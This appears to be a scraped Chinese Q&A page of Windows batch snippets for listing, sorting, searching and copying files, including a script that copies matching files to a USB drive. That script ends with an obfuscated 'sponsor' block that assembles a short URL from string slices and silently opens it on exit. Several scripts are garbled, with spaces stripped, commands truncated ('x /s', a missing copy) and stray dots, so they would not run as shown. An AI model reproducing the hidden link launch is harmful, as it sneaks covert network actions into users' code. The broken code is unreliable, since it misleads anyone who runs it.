① bat怎么获取文件夹内文件名称,以及子文件夹内文件名称
tree命令列目录
为什么不直接用tree命令,还能显示目录树结构。
C:>tree /?
以图形显示驱动器或路径的文件夹结构。
TREE [drive:][path] [/F] [/A]
/F 显示每个文件夹中文件的名称。
/A 使用 ASCII 字符,而不使用扩展字符。
② 用批处理命令获取文件夹名称
1、在电脑中新建一个文本文档,双击打开该文档。
③ bat 怎么读取文件夹下的所有文件名(没有嵌套),然后将其排序,获取第一项的文件名
使用dir命令。
使用 O 排序参数,具体解释如下:
/O 用分类顺序列出文件。
排列专顺序 N 按名称(字母顺序) S 按大属小(从小到大)
E 按扩展名(字母顺序) D 按日期/时间(从先到后)
G 组目录优先 - 反转顺序的前缀
使用 S 参数,具体解释如下:
/S 显示指定目录和所有子目录中的文件。
举个粟子:
按修改时间排序,从旧到新
dir /s /od
按修改时间排序,从新到旧
dir /s /o-d
④ 如何使用bat批量按文件夹名称筛选文件夹并复制到指定地方
@echo off & title 根据列表复制文件夹到指定位置 By 依梦琴瑶
::设置文件夹列表文件
set List=FolderList.txt
::设置主源目录
set SrcFolder=D:\源目标目录
::设置指定保存目录
set SavFolder=E:\最终保存目录
for /f "delims=" %%a in ('type "%List%"') do (
if exist "%SrcFolder%\%%~a\." (
x /s /e /y "%SrcFolder%\%%~a\" "%SavFolder%\%%~a\"
) else (
echo 指定的目录 "%%~a" 不存在。
)
)
pause
脚本保存编码务必设为ANSI,以免中文字符出现乱码。
⑤ BAT批处理在指定的文件夹内搜索文件名并复制到U盘!
@echooff&title搜索指定文件并拷贝至U盘By依梦琴瑶
::跳转回脚本自身目录
cd/d%~dp0
::获取所有可移动磁盘盘符
for/f"tokens=2delims==:"%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')do(
callsetPans=%%Pans%%%%~a:
)
::手动输入盘符
:InputPan
cls&echo当前电脑上有以下几个可移动磁盘盘符:
echo%Pans%&echo,
echo请输入要拷入文件的盘符(不带冒号),并按回车键确认:
set/pUDISK=
::判断是否已输入盘符
ifnotdefinedUDISK(
echo您没有输入盘符,请重新输入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::判断盘符是否存在
ifnotexist%UDISK%:(
echo您输入盘符不存在,请重新输入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::手动输入后缀名
echo,&echo,
echo请输入要搜索的后缀名(无需带小数点,留空将搜索所有后缀格式),并按回车确认:
set/pExt=
ifnotdefinedExtsetExt=*
::手动输入文件名
echo,&echo,
echo请输入要搜索的文件名(留空将搜索所有名称),并按回车确认:
set/pName=
ifnotdefinedNamesetName=*
::开始搜索并拷贝(当前代码拷贝时如果存在同名文件将会被覆盖)
echo,&echo,
echo正在搜索"%Name%.%Ext%"中,此过程可能会耗时,请耐心等待。。。
for/f"delims="%%ain('dir/a-d/s/b"%Name%.%Ext%"')do(
echo,&echo"%%~nxa"位于"%%~dpa"
/y"%%~a""%UDISK%:">nul2>nul&&(
echo已拷贝至%UDISK%盘中。
)||(
echo拷贝失败。
)
)
echo,&echo,
echo拷贝完成,请按任意键退出。
pause>nul2>nul
::友情赞助跳转代码
setS0=fGRH
setS1=.:ailnhpst/
setS2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
setS3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start"""%S2%%S3%%S1:~10,1%%S0%"
exit